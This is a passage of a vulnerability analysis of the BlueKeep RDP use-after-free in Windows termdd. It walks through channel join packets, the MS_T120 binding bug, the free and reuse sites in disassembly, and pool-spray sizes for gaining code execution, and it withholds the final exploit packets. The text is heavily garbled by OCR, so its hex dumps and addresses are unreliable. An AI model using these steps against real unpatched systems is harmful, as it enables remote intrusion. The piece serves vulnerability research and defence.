a8 ac 82 fe Be @8 87 B3 ee B3 88 B0 Bc B2 fB - -

0x38: channelJoinRequest (14)

0240 58 38 90 07 [ERLs @3 @2 @0 Bc 02 f@ 50 33 0@ @7 -5- N -
@3 ec 83 @0 @0 Rc @2 @ 50 38 @@ ©7 03 ed B3 8@ - - - -



¥ IS0 3873/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
POU Type: DT Data (@xef)
[Destination reference: Bx8881)
.Bea eepd = TPDU number: @x@e
1... .... = Last data unit: Yes
% MULTIPOINT-COMMUNMICATION-SERVICE T.125
¥ DomalnMCSPDU: channelloinRequest (14)
* channelJoinRequest
initiator: B8
channelld: 1@a3
¥ TPKT, Version: 3, Length: 12
Version: 3
Reserved: @
Length: 12
v IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
PDU Type: DT Data (@xef)

L ol . I fa P s T a a0 |

8040 ma:azfasanm%acazfa -----
@e58 80 38 @0 83 @3 @3 @@ @@ oc 82 fo 30 38 @@ @8 8- - oo 8-
1860 @3 ed B3 @9 @0 @c @2 f@ 50 383 B0 B3 @3 ee B3 BB - - X DO
All channel join packages are similar, the only thing that changes are the last two bytes that correspond to the

channel number.

Channel Join Confirm Response package

The response was
03 00 00 of 02 fO 80 3e 00 00 07 03 eb 03 eb

ox3e:channelJoinConfirm (15)



¥ TPKT, Version: 3, Length: 15
Version: 3
Reserved: @
Length: 15
v IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
PDU Type: DT Data (@xef)
[Destination reference: BxB288@)
.88 0888 = TPDU number: @x@e
l... .... = Last data unit: Yes

% MULTIPOINT -cwurumw.
% DomainMCSPDU: JchannelloinConfirm (15)

* channelloinConfirm
| result: rt-successful (@) |
initiator: 7
requested: 1883
channelId: 1883

L}
28 52 45 43 56 88 28 53 45 4= 44 88 88 45 28 RECW- 5 END E

@@ 37 12 34 0@ @0 ff @6 a3 87 @1 @1 @1 912 @2 -7-4

@2 82 @d 3d @d 3d @0 @0 00 @0 @0 PP 00 0O 4@ @0 == p
BE3@ 20 00 Bc 11 @0 @0 @3 09 08 of 82 fo 5o E B0 o0 B--

@7@3eb@3eb ...

result: rt_succesful (0xo0)

The packet has the same initiator and channelid values than the request to the same channel.

When all the channels response the Join Request, the next package sended is send Data Request.

DomainMCSPDU: channelloinRequest (14)
TPKT, Version: 3, Length: 12
IS0 8673/X.224 COTP Connection-Oriented Transport Protocol
* MULTIPOINT-COMMUNICATION-SERVICE T.125
* DomainMCSPDU: channelloinRequest (14)
* channelJoinRequest
initiator: 7 /
channelId: 1@a7
TPKT, Version: 3, Length: 353
IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
* MULTIPOINT-COMMUNICATION-SERVICE T.125
DomainMCSPDU: sendDataRequest (25)

Client Info PDU or Send Data Request Package




gL . LR S
¥ TPKT, Version: 3, Length: 353
Version: 3
Reserved: @
Length: 353
v IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
Length: 2
FDU Type: DT Data (exef)
[Destination reference: 8xeee9 )
.88 228 = TPDU number: @xBe
R Last data unit: Yes
% MULTIPOINT-COMMUNICATION-SERVICE T. 125/
* DomainMCSPDU: sendDataRequest (25)
* sendDataRequest
initiator: 7
channelId: 1@a3
dataPriority: high (1)

W i S ] L . | —} La ] Pl I el I R A o - a i o T |
8278 B 33 88 07 83 of 03 ee DSl 62 fo 30 64 68 87 B Ed
G258 @3 eb 7@ Bl 52 48 @8 al a5 @9 84 89 84 bb 47 83 coprR@e s e G-
G200 @8 BB B0 Be PO B5 02 G2 00 B0 B0 bR 88 41 B8 41 - e ACA

The remaining packages are important for the exploitation, so for now we will not show them in this first

delivery.

STEP 7) The vulnerability

The program allocate a channel MS_T120 by default, the user can set different channels in the packages.

This is the diff of the function named IcabindVirtualChannels

—wT=e) M| e e g L | -
!_Wuwrlualchannelstﬁ ; IcaBindVirtualChannels(x) 00p11A18 ;
. H H
(aVd T AT Ta Vi L 2 connnaXegy 2
B001349E IcaBindVirtualChannels(x) 2| 88811A18 IcaBindVirtualChannels(x) 5]
BEB1357C  xor ecx, ecx H
| BBE135FE  lea eax, ds:[edi+8]
|| pAE13581 inc ecx
-| @8@13582 lock xadd ds:[eax], ecx
| pEE13566 lea ebx, ds:[edi+exC] 3l
‘| eee13589  push ebx | ee@11aF2  push esi
call ds:[__imp__ExEnterCriticalRegionAndAcguireResourceExclusive:|| B8811AF3 call _IcaReferenceStack@4
push ds:fesi+2] H
movZX eax, ds:[esi]
push eax 4 !
“l BeBE11AF8  call ds:[__imp__KeEnterCriticalRegion@8] f4 __imp__KeE
push b ol BBET1AFE push 1 /4 Wait
Al eeE11B8E  lea ebx, ds:[esi+8xC]
| eBE13599  push edi “| eBE11B83  push ebx // Resource
| BBE1359A call __IcaBindChanne1&16 3
|| eee1359F  mov ecx, ebx i o+7s G_@ bTg
| eeen3sa1 call ds:[__imp_@®ExReleaseResourceAndLeaveCriticalRegion@4] | eee11ee4 call ds:[__imp__ExAcquireResourceExclusivelite@8] // __imp__Exhc: [ N 1
3 i| eeE11BBA  lea eax, ds:[esi+Bx58] ;f EINIE
:|| e8e135A7 push edi 2| eee11E8D push Bx11ABA // aMsT128_8 et
| eBE135AE  call _IcaDereferenceChannel@d gl gl ...
BEB135AD  push edi 4| ee@11B12  push eax // char * 2| =
call _IcaDereferenceChannel@d 2 eee11B13 call ds:[__imp___stricmp] f __dmp___stri | I
mov ebx, ss:[ebp+var_1D4] 5l i et
| eemims test eax, eax A
| BRB11BIE  pop ecx A
il eeE11BIC  pop ecx NI
S eee11EB1D  push ds:[edi]
| eeB11BIF  jnz Bx11825 A0
b T T =
| ] ..o
¥ Y =
MM‘M IcaBindVirtualChannels(x) 08811A18  IcaBindVirtualChan :
BBA11B21 push Bx1F BBB116B25 movix eax, b3
Bee11623 jmp Bx11B24 Bee11829 push eax
T T
| /
Y ¥
88811A18 IcaBindVirtualChannels (x)
B8881162A  push Bl
Bae11B2C = =
88811820 | call __IcaBindChanneldl16
BBA11832 - /{ Resource :
B8811834 call ds:[__imp_8ExReleaseResourcelitedd] / _imp_@ExReleaseRe: :
@BBe1163A call ds:[__imp__KelLeaveCriticalRegion@B] / _imp__KeleaveCrit::
BEA11848 push esi
BB811841 call _IcaDereferenceChanne 184
88811646  push esi P [ Oeicarat F
88811847 call _IcaDereferenceChanne 184 A & Qcjeargd F
5| | @ae11B4C  mowv ebx, ss:[ebp+var_1D4]
— — i |

This is the patch for the Windows XP version, which its logic is similar for every vulnerable windows version,

when the program compares the string MS_T120 with the name of each channel, the pointer is forced to be N

stored in a fixed position of the table, forcing to use the value oxif to calculate the place to save it .



In the vulnerable version, the pointer is stored using the channel number to calculate the position in the

channel table, and we will have two pointers stored in different locations, pointing to the same chunk.

If the user set a channel MS_T120 and send crafted data to that channel, the program will allocate a chunk for
that, but will store two different pointers to that chunk, after that the program frees the chunk, but the data of

the freed chunk is incorrectly accessed, performing a USE AFTER FREE vulnerability.

The chunk is freed here

‘9

] i =

] Local Types [2] Zf] Breakpoints [ [D]  HexWView-1 [ [A|l structures [ [5] Enums
_J.'-\_'.'I I:|:‘|_II'.'IIIII|:_|,\..-'._II
_IcaFreeChannel(x) ;3 int _ stdcall IcaFreeChannel(PVOID P)
_IcaFreeChannel(x) __stdcall IcaFreeChannel(x) proc near
_IcaFreeChannel(x)
_IcaFreeChannel(x) P= dword ptr &
_IcaFreeChannel(x)
_IcaFreeChannel(x) mov edi, edi
_IcaFreeChannel(x)+2 push ebp
_IcaFreeChannel(x)+3 mov ebp, esp
_IcaFreeChannel(x)+5 push esi
_IcaFreeChannel(x)+6 mov esi, [ebp+P]
_IcaFreeChannel(x}+9 lea eax, [esi+@A8h]
_IcaFreeChannel(x)+F mov ecx, [eax]
_IcaFreeChannel(x)+11 mov eax, [eax+d]
_IcaFreeChannel(x)+14 mov [eax], ecx
_IcaFreeChannel(x)+16  mov [ecx+d], eax
_IcafFreeChannel(x)+19 mov eax, [esi+9Ch]
_IcaFreeChannel(x)+1F  push edi
_IcaFreeChannel(x)+28 cmp eax, BFFFFFFFFh
_IcaFreeChannel(x)+23 jz short loc_8C@51D096
L* |
_IcaFreeChannel(x)+25 mov ecx, [esi+2eh]
_IcaFreeChannel(x}+28 add ecx, eax
_IcaFreeChannel(x}+20 mov eax, [esi+88h]
_IcaFreeChannel(x}+33 and dword ptr [eaxtecx*4+78h], @

_IcaFreeChannel(x)438
_IcaFreeChannel(x)438

_IcaFreeChannel(x)+56
_IcaFreeChannel(x)+56

loc_B8CA51096:

_IcaFreeChannel(x)+38 mov edi, ds:ExDeleteResourcelite(x)
_IcaFreeChannel(x)+3E lea eax, [esi+BCh]
_IcaFreeChannel(x)+41  push eax ; Resource
_IcaFreeChannel(x)+42 call edi ; ExDeleteResourcelite(x)
_IcaFreeChannel(x)+44 lea eax, [esi+44h]
_IcafreeChannel(x)+47  push eax 3 Resource
_IcafreeChannel(x)+48 call edi ; ExDeleteResourcelite(x)
IcaFreeChannel(x)+44 ush a8 ; Ta

_IcaFreeChannel(x)+4D call ds:ExFreePoolWithTag(x,x)
_IcaFreeChannel(x)+53 pop edi
_IcaFreeChannel(x)+34 pop esi
_IcaFreeChannel(x)+55 pop ebp
_IcaFreeChannel(x)+56 retn 4

__stdcall IcaFreeChannel(x) endp

Then the chunk is accessed after the free here, EBX will point to the freed chunk.



vl

vy

il e

IcaChannelInputInternal(x,x,x,x,x,x)+90
IcaChannelInputInternal(x,x,x,x,x,%x)+90
IcaChannelInputInternal(x,x,x,x,x,x)+30
IcaChannelInputInternal(x,x,x,x,x,x)+9E

IcaChannelInputInternal(x,x,x,x,x,x)+A6
IcaChannelInputInternal(x,x,x,x,x,x)+A9
IcaChannelInputInternal(x,x,x,x,x,x)+AC
IcaChannelInputInternal(x,x,x,x,x,x)+AD

)
J
)
)
IcaChannelInputInternal (x,x,x,x,x,x)+A3
)
J
)

loc BCBS2683:

push esi

call IcaGetConnectionForstack(x)
push [ebp+HiaxCount]

mov [ebp+var_38], eax

push [ebptarg 4]

push eax

call IcaFindChannel{x,x,x

IcaChannelInputInternal(x,x,x,x,x,%x)+B6

jz loc BCRS2AR2

™1
Y

=21InputInternal (x,x,x,x,x,x)+BC
elInputInternal (x,x,x,x,x,x)+BE

1 -

xor
lea

ecx, ecx
eax, [ebx+8]

If a perfect pool spray is performed, using the correct chunk size, we can control the execution flow, the value
of EAX controlled by us, EBX point to our chunk, EAX =[EBX+0x8cl is controlled by us too.

T —————

- —————

-= ——nrcrcac

S . L
IcaChannelInputInternal(x,x,:
IcaChannelInputInternal(x,x,:
IcaChannelInputInternal(x,x,:

IcaChannelInputInternal(x,x,x,x,x,x)+F3 mov
IcaChannelInputInternal(x,x,x,x,x,x)+F6 mov
IcaChannelInputInternal (x,x,x,%,x,x)+F9 mowv
IcaChannelInputInternal (x,x,x,x,x,x)+FC  mov

eax, [edi+d]

[ebp+src], eax

eax, [edi+aCh]
[ebp+InputBufferLength], eax

IcaChannelInputIntern:
IcaChannelInputIntern:
IcaChannelInputIntern:
IcaChannelInputIntern:

x
W=

Ll e =

IcaChannelInputInternal(x,x,x,x,x,x)+FF
IcaChannelInputInternal(x,x,x,x,x,x)+FF
IcaChannel InputInternal (x,x,x,x,x,x)+FF
IcaChannel InputInternal (x,x,x,x,x,x)+185
IcaChannelInputInternal(x,x,x,x,x,x)+187

IcaChannelInputInternal(x,x,x,

loc_8Ce526E5:

mow eax, [ebx+8Ch]
test eax, eax
jz loc_8Ce527F9

l |

il e 5

IcaChannelInputInternal (x,x,x,x,x,x)+180 lea
IcaChannelInputInternal (x,x,x,x,x,x)+118 push
IcaChannelInputInternal (x,x,x,x,x,x)+111 push
IcaChannelInputInternal (x,x,x,x,x,x)+114 push
IcaChannelInputInternal (x,x,x,x,x,x)+117 push

IcaChannel InputInternal (x,x,x,x,x,x)+11A test

ecx, [ebptvar 4]

ecx
[ebp+InputBufferLength]
[ebp+src]

eax

edi, edi

IcaChannelInputInternal(x,x,x,x,x,x)+11C j=z short loc_8CB5278D
I;I
FIEE
IcaChannelInputInternal(x,x,x,x,%,*x)+11E push ] 3 Tag
IcaChannellnputInternal(x,x,x,x,x,*x)+128 push edi 3 P
IcaChannelInputInternal(x,x,x,x,%,x)+121 call ds:ExFreePooliithTagi(x,x)

]
STEP 8) Pool spray

There is a point in the code that let us allocate our data with size controlled, and the same type of pool.



|:| MNames window |:| IEI Database notepad |:| = Breakpoints |:| Local Types |:|
I
y

=
eax, [ebp+P] "‘-—-—._______- termdd IcaChannelInputInternalt+28E push ' acl’ ; Ta
[ebp+src], eax B
[ebp+Irp], eax termdd_IcaChannelInputInternal+294 push ebx 3 PoolType
ebx, ebx termdd_IcaChannelInputInternal+295 call ds:termdd__imp_ ExAllocatePoolWithTag
short loc_BAAGIBTD termdd_IcaChannelInputInternal+298 mov ebx, eax

termdd_IcaChannelInputInternal+29D0 jmp short loc_BAAG9911

¥

aE

idd_IcaChannelInputInternal+287
idd_IcaChannelInputInternal+28A

add
sub

[ebx+8], eax
[ebx+BCh], eax

Yy
ol i =

termdd_IcaChannelInputInternal+2Al
termdd_IcaChannelInputInternal+2Al
termdd_IcaChannelInputInternal+2Al
termdd_IcaChannelInputInternal+2A3

loc_BAAGI911:

test
jz

ebx, ebx
loc_BAABIOAC

T

FIZIE

termdd_IcaChannelInputInternal+2A9
termdd_IcaChannelInputInternal+2AB
termdd_IcaChannelInputInternal+2AD
termdd_IcaChannelInputInternal+2B@
termdd_IcaChannelInputInternal+2B3
termdd_IcaChannelInputInternal+2B6
termdd_IcaChannelInputInternal+2B9
termdd_IcaChannelInputInternal+2BC
termdd_IcaChannelInputInternal+2BF
termdd_IcaChannelInputInternal+2Cl
termdd_IcaChannelInputInternal+2C3
termdd_IcaChannelInputInternal+2Ce
termdd_IcaChannelInputInternal+2Cs
termdd_IcaChannelInputInternal+2CB

mow ecx, esi

mov eax, ecx

mov [ebx+8Ch], esi
mov [ebx+18h], esi
mov esi, [ebpt+5Src]
shr ecx, 2

lea edi, [ebx+28h]
mow [ebx+8], edi
rep movsd i

mov ecx, eax

and ecx, 3

rep movsbh

mov edi,

mov esi, [ebp+Irp]

[ebp+var_1@]

ext:BARESS2F

We can send bunch of crafted packages to reach this point, if this packages have the right size can fill the

freed chunk, with our data.

In order to get the right size is necessary look at the function IcaAllocateChannel.

In Windows 7 32 bits, the size of each chunk of the pool spray should be 0xc8.




s =]

_TcafllocateChannel (x,x,x)
_IcatllocateChannel (x,x,x)
_IcatllocateChannel (x,x,x)
_IcatllocateChannel (x,x,x)
_IcatllocateChannel (x,x,x)
_IcafllocateChannel(x,x,x)
_IcafllocateChannel(x,x,x)
_TcafllocateChannel (x,x,x)
_TcafllocateChannel (x,x,x)
_TcafllocateChannel (x,x,x)
_IcatllocateChannel (x,x,x)
_IcafllocateChannel(x,x,x)
_IcafllocateChannel(x,x,x)+
_IcaptllocateChannel(x,x,x)+
_IcafllocateChannel(x,x,x)+
_IcafllocateChannel(x,x,x)+
_TcafllocateChannel (x,x,x)+
_TcafllocateChannel (x,x,x)+
_TcafllocateChannel (x,x,x)+
_TcafllocateChannel(x,x, xj
_IcafllocateChannel(x,x,x)+1
_IcafAllocateChannel(x,x,x)+1

_IcafllocateChannel(x,x,x)

+2
13
15
+5
+7
+8
D

IcafllocateChannel (x,x,x —LE

_IcafllocateChannel(x,x,x)+1E
+28

; Attributes: bp-based frame info_from_lumina

3 int _ stdcall IcaAllccateChannel(int p_chunk Connection
__stdecall IcaAllocateChannel(x, %, x) proc near

p_chunk Connection data MS T128= dword ptr &
const 5= dword ptr @cCh
p_string_MS128= dword ptr 18h

maw edi, edi

push ebp

mov ebp, esp

push ebx

push esi

push edi

push 'cis ; Tag

mav edi,lacsh B

push edi 3 NumberOfBytes
xar ehx, ebx

push ebx 3 PoolType

call ds:ExAllocatePoolWithTag(x,x,x

cmp esi, ebx
jnz short loc 8C@52C25

For Windows XP 32 bits that size should be 0x8c.

termdd__TcaAllocateChannel
termdd__TIcaAllocateChannel
termdd__TcaAllocateChannel
termdd  IcaAlleocateChannel
termdd__TIcaAllocateChannel
termdd__TcaAllocateChannel
termdd  IcaAllocateChannel
termdd__TIcaAllocateChannel
termdd__IcaAllocateChannel
termdd__IcaAllocateChannel
termdd__TcaAllocateChannel
termdd__IcaAllocateChannel
termdd__IcaAllocateChannel+2
termdd  TcaAllocateChannel+3
termdd__TIcaAllocateChannel4s
termdd__TcaAllocateChannel+s
termdd  IcaAllocateChannel+B
termdd__TcaAllocateChannel+la
termdd__IcaAllocateChannel+12
termdd__IcaAllocateChannel+1s
termdd__TcaAllocateChannel+1A
termdd__TIcaAllocateChannel+1C
termdd__IcaAllocateChannel+1E

; Attributes: bp-based frame

; int
termdd__IcaAllecateChannel proc near

valor= byte ptr &
arg_4= dword ptr @ch
arg_8= dword ptr 1&h

Mo
push
Mo

push
push
push
push
call
Moy

Hor

test

jz

__stdcall termdd_ IcaAllecateChannel({char wvalor, int, char *)

edi, edi
ebp

ebp, esp
esi

- - ; Tag

8Ch ; '€ 3 NumberOfBytes

3 PoolType
ds:termdd__imp_ ExfllocatePoolwWithTag
esi, eax

eax, eax

esi, esi

loc_BAAGIDGE

This pool spray remain in this loop allocating with the right size, and we can fill the freed chunk with our own

data to control the code execution in the CALL (IcaChannelinputinternal + 0x118)

Be happy

Ricardo Narvaja
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